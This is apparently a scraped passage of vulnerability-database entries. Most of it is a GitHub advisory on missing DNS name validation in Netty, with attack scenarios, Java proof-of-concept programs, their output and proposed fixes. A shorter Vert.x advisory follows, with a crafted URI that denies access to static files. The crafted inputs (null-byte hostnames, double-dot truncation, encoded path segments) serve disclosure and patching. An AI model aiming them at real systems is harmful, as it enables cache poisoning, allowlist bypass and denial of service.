"evil\0.example.com"as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only
"evil" - DNS servers: may accept or reject based on implementation
This differential interpretation enables DNS cache poisoning and domain validation bypass.
3.2 Encoder Side — Overlength Label (RFC 1035 Violation)
Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:
- A 200-byte label length
0xC8would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation
3.3 Encoder Side — Silent Truncation via Empty Labels
encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!
An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.
3.4 Decoder Side — Unbounded Memory Allocation
The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.
Root Cause — Encoder
// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
break; // NO ERROR - silently truncates!
}
// NO check: labelLen > 63
// NO check: label contains null bytes
// NO check: total name > 255 bytes
buf.writeByte(labelLen); // Can write values > 63!
ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!
}
buf.writeByte(0);
}
Root Cause — Decoder
// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63
throw new CorruptedFrameException("truncated label in a name");
}
name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
// ^^^^^^ StringBuilder grows WITHOUT any length limit
in.skipBytes(len);
}
Missing checks in decoder:
- No if (len > 63) check per RFC 1035 Section 2.3.4
- No if (name.length() > 255) check for total domain name length
4. Exploitability Prerequisites
Encoder Side (outbound)
- An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
- The constructed DNS packets are sent to DNS servers or resolvers
Decoder Side (inbound)
- An application uses Netty's
codec-dnsorresolver-dnsmodule to process DNS responses - The application communicates with a malicious or compromised DNS server
Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.
5. Attack Scenarios
Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)
String hostname = userInput; // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
.addRecord(DnsSection.QUESTION,
new DefaultDnsQuestion(hostname, DnsRecordType.A));
The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.
Scenario 2: Label/Pointer Confusion (Encoder)
A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:
Byte: [C8] [61 61 61 ... (200 bytes)]
↑
Label interpretation: 200-byte label starting with 'a'
Pointer interpretation: pointer to offset 0x0861 = 2145
Scenario 3: Memory Exhaustion via Large Labels (Decoder)
A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.
Scenario 4: Domain Truncation via Empty Label (Encoder)
encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently dropped
This can bypass domain allowlists that check the input string.
Scenario 5: Downstream Processing Failures (Decoder)
Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.
6. Proof of Concept
PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsEncoderNullBytePoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method encode = clazz.getDeclaredMethod("encodeDomainName",
String.class, ByteBuf.class);
encode.setAccessible(true);
// Test 1: Null byte in domain name
ByteBuf buf = Unpooled.buffer(256);
encode.invoke(null, "evil\0.example.com", buf);
byte[] bytes = new byte[buf.readableBytes()];
buf.readBytes(bytes);
buf.release();
System.out.print("[TEST 1] Null byte - Encoded: ");
for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");
// Test 2: 200-byte label
ByteBuf buf2 = Unpooled.buffer(512);
encode.invoke(null, "a".repeat(200) + ".com", buf2);
System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
System.out.println("VULNERABLE: Overlength label accepted!");
buf2.release();
// Test 3: Empty label truncation
ByteBuf buf3 = Unpooled.buffer(256);
encode.invoke(null, "a..b.com", buf3);
byte[] bytes3 = new byte[buf3.readableBytes()];
buf3.readBytes(bytes3);
buf3.release();
System.out.print("\n[TEST 3] Empty label - Encoded: ");
for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Domain silently truncated!");
}
}
PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsDecoderLengthPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
decode.setAccessible(true);
// Test 1: 100-byte label (RFC limit: 63)
ByteBuf buf1 = Unpooled.buffer(256);
buf1.writeByte(100);
buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(3);
buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(0);
String r1 = (String) decode.invoke(null, buf1);
buf1.release();
System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
" VULNERABLE=" + (r1.length() > 64));
// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
ByteBuf buf2 = Unpooled.buffer(512);
for (int i = 0; i < 5; i++) {
buf2.writeByte(60);
buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
.getBytes(StandardCharsets.US_ASCII));
}
buf2.writeByte(0);
String r2 = (String) decode.invoke(null, buf2);
buf2.release();
System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
" VULNERABLE=" + (r2.length() > 255));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC
# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
Encoder PoC:
=== Netty DNS Encoder Validation Bypass PoC ===
[TEST 1] Null byte in domain name
Input: "evil\0.example.com"
Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
Null byte in label data: true
VULNERABLE: YES - Null byte accepted!
[TEST 2] Label > 63 bytes in encoder
Input: "aaaaaa..." (200-char label)
Encoded bytes: 206
VULNERABLE: YES - Overlength label accepted in encoder!
[TEST 3] Empty labels (consecutive dots)
Input: "a..b.com"
Encoded bytes: 01 61 00
Note: Empty label truncates the name (may lose data)
Decoder PoC:
=== Netty DNS Decoder Length Bypass PoC ===
[TEST 1] Label > 63 bytes (RFC 1035 violation)
Label length: 100 bytes (RFC limit: 63)
Decoded name length: 105
VULNERABLE: YES - Label > 63 bytes accepted!
[TEST 2] Domain > 255 bytes via multiple labels
5 labels x 60 bytes = 300+ bytes total
RFC 1035 limit: 255 bytes
Decoded name length: 305
VULNERABLE: YES - Domain > 255 bytes accepted!
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Integrity | HIGH — Null byte injection causes differential interpretation across DNS implementations |
| Availability | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |
| DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet |
| Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies |
| Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding |
| Silent Truncation | Empty labels silently drop the remainder of the domain name |
| Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |
8. Remediation Recommendations
Fix for Encoder (encodeDomainName)
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
int totalLength = 0;
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
throw new IllegalArgumentException("DNS name contains empty label: " + name);
}
if (labelLen > 63) {
throw new IllegalArgumentException(
"DNS label length " + labelLen + " exceeds maximum of 63: " + name);
}
for (int i = 0; i < label.length(); i++) {
if (label.charAt(i) == '\0') {
throw new IllegalArgumentException(
"DNS label contains null byte at index " + i);
}
}
totalLength += 1 + labelLen;
if (totalLength > 254) {
throw new IllegalArgumentException(
"DNS name exceeds maximum length of 255: " + name);
}
buf.writeByte(labelLen);
ByteBufUtil.writeAscii(buf, label);
}
buf.writeByte(0);
}
Fix for Decoder (decodeDomainName)
// Add after "} else if (len != 0) {":
if (len > 63) {
throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
}
9. Resources
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42579"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-626"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:12:47Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n - No null byte validation in domain name labels\n - No per-label length validation (RFC 1035 max: 63 bytes)\n - No total domain name length validation (RFC 1035 max: 255 bytes)\n - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n - No per-label length validation (max 63)\n - No total domain name length validation (max 255)\n - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n break; // NO ERROR - silently truncates!\n }\n // NO check: labelLen \u003e 63\n // NO check: label contains null bytes\n // NO check: total name \u003e 255 bytes\n buf.writeByte(labelLen); // Can write values \u003e 63!\n ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!\n }\n buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len \u003c= 63\n throw new CorruptedFrameException(\"truncated label in a name\");\n }\n name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n // ^^^^^^ StringBuilder grows WITHOUT any length limit\n in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput; // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n .addRecord(DnsSection.QUESTION,\n new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte: [C8] [61 61 61 ... (200 bytes)]\n \u2191\n Label interpretation: 200-byte label starting with \u0027a\u0027\n Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n String.class, ByteBuf.class);\n encode.setAccessible(true);\n\n // Test 1: Null byte in domain name\n ByteBuf buf = Unpooled.buffer(256);\n encode.invoke(null, \"evil\\0.example.com\", buf);\n byte[] bytes = new byte[buf.readableBytes()];\n buf.readBytes(bytes);\n buf.release();\n System.out.print(\"[TEST 1] Null byte - Encoded: \");\n for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n // Test 2: 200-byte label\n ByteBuf buf2 = Unpooled.buffer(512);\n encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n System.out.println(\"VULNERABLE: Overlength label accepted!\");\n buf2.release();\n\n // Test 3: Empty label truncation\n ByteBuf buf3 = Unpooled.buffer(256);\n encode.invoke(null, \"a..b.com\", buf3);\n byte[] bytes3 = new byte[buf3.readableBytes()];\n buf3.readBytes(bytes3);\n buf3.release();\n System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n decode.setAccessible(true);\n\n // Test 1: 100-byte label (RFC limit: 63)\n ByteBuf buf1 = Unpooled.buffer(256);\n buf1.writeByte(100);\n buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(3);\n buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(0);\n String r1 = (String) decode.invoke(null, buf1);\n buf1.release();\n System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n ByteBuf buf2 = Unpooled.buffer(512);\n for (int i = 0; i \u003c 5; i++) {\n buf2.writeByte(60);\n buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n .getBytes(StandardCharsets.US_ASCII));\n }\n buf2.writeByte(0);\n String r2 = (String) decode.invoke(null, buf2);\n buf2.release();\n System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n \" VULNERABLE=\" + (r2.length() \u003e 255));\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n Input: \"evil\\0.example.com\"\n Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n Null byte in label data: true\n VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n Input: \"aaaaaa...\" (200-char label)\n Encoded bytes: 206\n VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n Input: \"a..b.com\"\n Encoded bytes: 01 61 00\n Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n Label length: 100 bytes (RFC limit: 63)\n Decoded name length: 105\n VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n 5 labels x 60 bytes = 300+ bytes total\n RFC 1035 limit: 255 bytes\n Decoded name length: 305\n VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n int totalLength = 0;\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n }\n if (labelLen \u003e 63) {\n throw new IllegalArgumentException(\n \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n }\n for (int i = 0; i \u003c label.length(); i++) {\n if (label.charAt(i) == \u0027\\0\u0027) {\n throw new IllegalArgumentException(\n \"DNS label contains null byte at index \" + i);\n }\n }\n totalLength += 1 + labelLen;\n if (totalLength \u003e 254) {\n throw new IllegalArgumentException(\n \"DNS name exceeds maximum length of 255: \" + name);\n }\n buf.writeByte(labelLen);\n ByteBufUtil.writeAscii(buf, label);\n }\n buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
"id": "GHSA-cm33-6792-r9fm",
"modified": "2026-05-14T20:40:58Z",
"published": "2026-05-07T00:12:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}
GHSA-CPHF-4846-3XX9
Vulnerability from github – Published: 2026-01-15 21:31 – Updated: 2026-01-16 20:20
VLAI
Summary
Vert.x Web static handler component cache can be manipulated to deny the access to static files
Details
The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.
The issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895
Steps to reproduce Given a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html
Mitgation Disabling Static Handler cache fixes the issue.
StaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.vertx:vertx-core"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0.CR1"
},
{
"fixed": "5.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1002"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-15T22:51:27Z",
"nvd_published_at": "2026-01-15T21:16:05Z",
"severity": "MODERATE"
},
"details": "The Vert.x Web static handler component cache can be manipulated to deny the access to static files served by the handler using specifically crafted request URI.\n\n\nThe issue comes from an improper implementation of the C. rule of section 5.2.4 of RFC3986 and is fixed in Vert.x Core component (used by Vert.x Web): https://github.com/eclipse-vertx/vert.x/pull/5895 \n\n\n\nSteps to reproduce\nGiven a file served by the static handler, craft an URI that introduces a string like bar%2F..%2F after the last / char to deny the access to the URI with an HTTP 404 response. For example https://example.com/foo/index.html can be denied with https://example.com/foo/bar%2F..%2Findex.html\n\nMitgation\nDisabling Static Handler cache fixes the issue.\n\n\n\nStaticHandler staticHandler = StaticHandler.create().setCachingEnabled(false);",
"id": "GHSA-cphf-4846-3xx9",
"modified": "2026-01-16T20:20:55Z",
"published": "2026-01-15T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1002"
},
{
"type": "WEB",
"url": "https://github.com/vert-x3/vertx-web/issues/2836"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/pull/5894"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/pull/5895"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/commit/5b67f5d17788b2483d277c760f3f8154f9b2fed0"
},
{
"type": "WEB",
"url": "https://github.com/eclipse-vertx/vert.x/commit/d007e7b418543eb1567fe95cf20f5450a5c2d047"
},
{
"type": "PACKAGE",
"url": "https://github.com/eclipse-vertx/vert.x"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Vert.x Web static handler component cache can be manipulated to deny the access to static files"
}
GHSA-F6HV-JMP6-3VWV
Vulnerability from github – Published: 2026-05-07 00:46 – Updated: 2026-05-14 20:41
VLAI
Summary
